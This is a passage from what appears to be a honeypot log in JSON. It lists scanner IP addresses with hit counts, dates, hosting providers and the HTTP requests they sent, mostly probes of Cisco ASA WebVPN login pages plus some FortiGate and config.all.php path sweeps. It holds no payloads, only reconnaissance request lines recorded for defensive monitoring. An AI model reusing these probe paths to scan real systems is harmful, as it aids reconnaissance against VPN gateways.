      "city": null,
      "asn": 209896,
      "as_org": "Contrust Solutions S.R.L."
    },
    "87.236.176.14": {
      "attack_count": 1,
      "first_seen": "2026-04-21T02:23:11.293Z",
      "last_seen": "2026-04-21T02:23:11.293Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.196.152.121": {
      "attack_count": 1,
      "first_seen": "2026-04-09T03:12:15.352Z",
      "last_seen": "2026-04-09T03:12:15.352Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.80": {
      "attack_count": 1,
      "first_seen": "2026-04-16T03:14:33.775Z",
      "last_seen": "2026-04-16T03:14:33.775Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "92.63.197.50": {
      "attack_count": 87,
      "first_seen": "2026-04-26T20:39:43.086Z",
      "last_seen": "2026-04-27T05:02:07.695Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi"
    },
    "45.39.194.102": {
      "attack_count": 31,
      "first_seen": "2026-04-12T01:29:32.662Z",
      "last_seen": "2026-04-13T15:54:23.007Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "68.235.46.215": {
      "attack_count": 30,
      "first_seen": "2026-04-18T04:34:11.828Z",
      "last_seen": "2026-04-30T03:47:50.352Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "68.235.46.70": {
      "attack_count": 27,
      "first_seen": "2026-04-08T14:45:31.612Z",
      "last_seen": "2026-04-30T02:08:02.564Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.114.31": {
      "attack_count": 24,
      "first_seen": "2026-04-08T15:03:44.429Z",
      "last_seen": "2026-04-29T05:49:15.298Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.48": {
      "attack_count": 24,
      "first_seen": "2026-04-18T03:51:56.037Z",
      "last_seen": "2026-04-29T23:53:40.952Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.4": {
      "attack_count": 24,
      "first_seen": "2026-04-13T08:34:36.057Z",
      "last_seen": "2026-04-27T23:36:46.736Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "193.17.42.49": {
      "attack_count": 22,
      "first_seen": "2026-04-13T02:37:30.441Z",
      "last_seen": "2026-04-15T03:53:11.642Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.171.112": {
      "attack_count": 21,
      "first_seen": "2026-04-13T12:55:56.804Z",
      "last_seen": "2026-04-29T21:24:28.618Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "166.88.175.45": {
      "attack_count": 21,
      "first_seen": "2026-04-12T01:43:16.516Z",
      "last_seen": "2026-04-13T13:11:43.194Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "185.141.119.140": {
      "attack_count": 21,
      "first_seen": "2026-04-18T22:53:27.415Z",
      "last_seen": "2026-04-27T23:07:27.708Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.108.175": {
      "attack_count": 21,
      "first_seen": "2026-04-09T00:05:04.139Z",
      "last_seen": "2026-04-29T06:49:22.326Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.188": {
      "attack_count": 21,
      "first_seen": "2026-04-18T03:47:16.780Z",
      "last_seen": "2026-04-30T00:20:06.682Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.99.104": {
      "attack_count": 21,
      "first_seen": "2026-04-13T09:38:23.421Z",
      "last_seen": "2026-04-27T14:34:52.408Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "94.143.230.24": {
      "attack_count": 21,
      "first_seen": "2026-04-13T08:53:36.129Z",
      "last_seen": "2026-04-13T12:20:16.717Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.82.174": {
      "attack_count": 20,
      "first_seen": "2026-04-11T03:27:38.933Z",
      "last_seen": "2026-04-27T16:50:43.237Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "103.102.247.100": {
      "attack_count": 18,
      "first_seen": "2026-04-13T11:27:55.739Z",
      "last_seen": "2026-04-28T03:03:04.503Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.159.216.31": {
      "attack_count": 18,
      "first_seen": "2026-04-08T17:33:29.433Z",
      "last_seen": "2026-04-24T10:21:30.937Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.91.233": {
      "attack_count": 18,
      "first_seen": "2026-04-11T07:55:01.609Z",
      "last_seen": "2026-04-29T12:56:36.686Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.84.107.174": {
      "attack_count": 17,
      "first_seen": "2026-04-24T09:14:00.583Z",
      "last_seen": "2026-04-24T09:14:31.321Z",
      "ports": [],
      "event_types": [
        "\"GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/bg_BG/LC_MESSAGES/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/bg_BG/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/locale/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/misc/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/modules/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /restapi/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /restapps/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /temp/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /templates_c/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /tests/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /themes/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /user/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /var/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /vtigercrm/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /web-meetme/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "152.32.207.88": {
      "attack_count": 16,
      "first_seen": "2026-04-07T18:35:56.392Z",
      "last_seen": "2026-04-07T18:36:39.103Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "172.120.163.51": {
      "attack_count": 16,
      "first_seen": "2026-04-13T02:55:47.600Z",
      "last_seen": "2026-04-13T14:44:30.795Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.50.27": {
      "attack_count": 16,
      "first_seen": "2026-04-13T05:14:16.933Z",
      "last_seen": "2026-04-13T07:25:30.698Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "5.57.210.209": {
      "attack_count": 16,
      "first_seen": "2026-04-13T11:32:33.709Z",
      "last_seen": "2026-04-15T04:25:30.507Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Lake Providence",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.100.157": {
      "attack_count": 15,
      "first_seen": "2026-04-18T12:03:16.160Z",
      "last_seen": "2026-04-28T01:32:44.196Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.188": {
      "attack_count": 15,
      "first_seen": "2026-04-08T09:10:24.911Z",
      "last_seen": "2026-04-30T01:59:01.203Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.48": {
      "attack_count": 15,
      "first_seen": "2026-04-09T03:31:33.130Z",
      "last_seen": "2026-04-29T20:17:29.000Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.156": {
      "attack_count": 15,
      "first_seen": "2026-04-10T13:12:58.428Z",
      "last_seen": "2026-04-29T06:27:54.051Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.96.185": {
      "attack_count": 15,
      "first_seen": "2026-04-10T02:56:28.004Z",
      "last_seen": "2026-04-24T12:55:55.828Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "91.242.237.39": {
      "attack_count": 15,
      "first_seen": "2026-04-13T02:00:01.548Z",
      "last_seen": "2026-04-13T12:15:56.292Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New Bethlehem",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.91.100": {
      "attack_count": 14,
      "first_seen": "2026-04-08T18:47:48.331Z",
      "last_seen": "2026-04-27T23:29:00.731Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.147.247.28": {
      "attack_count": 14,
      "first_seen": "2026-04-13T04:55:28.945Z",
      "last_seen": "2026-04-15T06:29:56.869Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "178.16.53.148": {
      "attack_count": 12,
      "first_seen": "2026-04-04T03:56:37.479Z",
      "last_seen": "2026-04-04T06:24:53.121Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOU+/csco_logo.gif HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "23.234.115.175": {
      "attack_count": 12,
      "first_seen": "2026-04-08T19:36:43.908Z",
      "last_seen": "2026-04-27T17:07:44.819Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.71": {
      "attack_count": 12,
      "first_seen": "2026-04-21T01:41:12.591Z",
      "last_seen": "2026-04-24T10:33:29.004Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.7": {
      "attack_count": 12,
      "first_seen": "2026-04-18T00:55:47.989Z",
      "last_seen": "2026-04-25T05:17:34.070Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "64.62.197.182": {
      "attack_count": 12,
      "first_seen": "2026-04-22T03:12:47.878Z",
      "last_seen": "2026-04-22T03:19:03.646Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "68.235.46.106": {
      "attack_count": 12,
      "first_seen": "2026-04-08T14:14:04.762Z",
      "last_seen": "2026-04-29T11:06:15.039Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "187.108.1.130": {
      "attack_count": 10,
      "first_seen": "2026-04-01T00:21:00.817Z",
      "last_seen": "2026-04-26T17:57:21.643Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sorocaba",
      "asn": 28267,
      "as_org": "LANTEC COMUNICACAO MULTIMIDIA LTDA"
    },
    "23.234.102.48": {
      "attack_count": 10,
      "first_seen": "2026-04-18T02:23:01.643Z",
      "last_seen": "2026-04-25T06:01:26.589Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.252.242.111": {
      "attack_count": 9,
      "first_seen": "2026-04-15T03:54:15.632Z",
      "last_seen": "2026-04-15T03:54:43.320Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Diego",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "146.70.166.201": {
      "attack_count": 9,
      "first_seen": "2026-04-15T10:14:48.209Z",
      "last_seen": "2026-04-26T01:03:21.938Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "149.40.50.116": {
      "attack_count": 9,
      "first_seen": "2026-04-16T02:14:01.675Z",
      "last_seen": "2026-04-29T10:46:25.406Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.160.24.61": {
      "attack_count": 9,
      "first_seen": "2026-04-08T19:25:17.421Z",
      "last_seen": "2026-04-29T11:45:52.097Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.107.71": {
      "attack_count": 9,
      "first_seen": "2026-04-16T06:08:05.504Z",
      "last_seen": "2026-04-18T23:55:20.710Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.31": {
      "attack_count": 9,
      "first_seen": "2026-04-21T09:11:19.053Z",
      "last_seen": "2026-04-26T06:35:45.806Z",
      "ports": [],
      "event_types": [
